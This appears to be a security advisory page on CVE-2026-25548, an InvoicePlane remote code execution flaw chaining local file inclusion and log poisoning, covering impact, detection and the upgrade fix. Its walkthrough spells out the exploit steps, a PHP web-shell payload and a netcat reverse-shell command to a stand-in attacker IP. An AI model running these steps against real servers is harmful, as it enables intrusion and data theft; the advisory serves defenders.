CVE-2026-25548: 
NixOS vulnerability analysis and mitigation

CVE-2026-25548 is a critical Remote Code Execution (RCE) vulnerability in InvoicePlane, a self-hosted open source invoicing application, exploitable via a chained Local File Inclusion (LFI) and Log Poisoning attack. It affects InvoicePlane versions up to and including 1.7.0; version 1.7.1 contains the fix. The vulnerability was published on February 18, 2026, with the security advisory authored by nielsdrost7 on February 16, 2026. It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory).

The vulnerability chains two distinct weaknesses. First, a Local File Inclusion flaw (CWE-98) exists in application/modules/guest/controllers/View.php (lines 85, 191), where the public_invoice_template setting is concatenated directly into a load->view() path without validation, enabling path traversal sequences (../) to include arbitrary .php files. Second, a Log Poisoning flaw (CWE-117 / CWE-94) exists in application/modules/upload/controllers/Upload.php (line 182), where filenames containing path traversal characters are logged unsanitized via log_message('error', ...). Because CodeIgniter log files use a .php extension, an attacker can embed PHP code in a filename that gets written to the log, then use the LFI to include and execute that log file. A proof-of-concept is publicly documented in the official security advisory (GitHub Advisory).

Successful exploitation grants an authenticated administrator arbitrary command execution on the underlying server with web server privileges (e.g., www-data), resulting in full confidentiality, integrity, and availability compromise. Attackers can read all server files and database credentials (including sensitive invoice and payment data), modify or destroy data, install backdoors or web shells, and potentially pivot to other systems on the network. The CVSS scope is rated "Changed," reflecting that the vulnerability allows escape from the web application context to the underlying operating system (GitHub Advisory).

A proof-of-concept exploit is publicly available via the GitHub security advisory and has been indexed by Sploitus (GitHub Advisory). A Nuclei detection template pull request was also submitted to the ProjectDiscovery repository, further lowering the barrier to automated scanning. There is no confirmed evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.378%, reflecting low but non-negligible probability of exploitation in the near term. Exploitation requires authenticated administrator access and knowledge of a valid invoice URL key (Feedly).

1. Gain Administrator Access: Log in to the target InvoicePlane instance with administrator credentials.
2. Identify a Valid Invoice URL Key: Navigate to an existing invoice or create a new one to obtain its public URL key (used to access the guest invoice view).
3. Poison the Log File: Using a tool such as Burp Suite, intercept a file upload request to POST /index.php/upload/upload/[INVOICE_URL_KEY] and modify the filename to embed PHP code, e.g., <?php system($_GET[1]); ?> disguised within a traversal-laden filename like ...jpg. The application logs the malicious filename unsanitized to application/logs/log-YYYY-MM-DD.php.
4. Set the Malicious Template Path: Submit a POST request to POST /index.php/settings with the body parameter settings[public_invoice_template]=../../../logs/log-2026-01-30 (adjusted to the current date), redirecting the invoice template to the poisoned log file.
5. Trigger RCE: Visit GET /index.php/guest/view/invoice/[INVOICE_URL_KEY]?1=id — the server includes the poisoned log file as a PHP template, executing the injected code. The response will contain output such as uid=1000(www-data) gid=1000(www-data).
6. Establish Persistence (Optional): Use the RCE to spawn a reverse shell, e.g., by visiting GET /index.php/guest/view/invoice/[INVOICE_URL_KEY]?1=nc+-e+/bin/bash+[ATTACKER_IP]+4444 (GitHub Advisory).

• Network: Unusual POST requests to /index.php/upload/upload/[key] with filenames containing PHP code or path traversal sequences (../, <?php); outbound connections from the web server to unexpected external IPs (potential reverse shell).
• Logs: Entries in application/logs/log-YYYY-MM-DD.php containing PHP code fragments (e.g., <?php, system(, passthru() embedded in filename-related error messages; web server access logs showing GET requests to /index.php/guest/view/invoice/[key] with query parameters like ?1=id or ?1=whoami.
• File System: Unexpected or modified files in application/logs/ with .php extensions containing injected PHP code; new web shells or scripts in the InvoicePlane installation directory.
• Process: Unusual child processes spawned by the PHP/web server process (e.g., /bin/bash, nc, curl, wget, python) following requests to guest invoice URLs.
• Configuration: Changes to the public_invoice_template setting in the InvoicePlane database pointing to paths outside the invoice_templates/public/ directory (GitHub Advisory).

Upgrade InvoicePlane to version 1.7.1, which patches both the LFI vulnerability (by adding template name validation in PDF generation and settings endpoints) and the log poisoning vulnerability (by sanitizing filenames before logging in Upload.php) (GitHub Commit, GitHub Advisory). As interim mitigations: restrict administrator account access to trusted users only; monitor logs for suspicious template configuration changes or PHP code in log files; implement WAF rules to detect and block path traversal sequences in upload filenames and template parameters; and consider restricting write permissions on the application/logs/ directory.

The vulnerability was covered by The Hacker Wire and indexed by security aggregators including Vulners, CVEFeed, and VulDB shortly after disclosure. A Nuclei template pull request was submitted to ProjectDiscovery's community repository, indicating interest from the security research community in automated detection. Red Hat also tracked the CVE in their security advisory database (Red Hat). No major vendor statements beyond the InvoicePlane project's own advisory have been identified.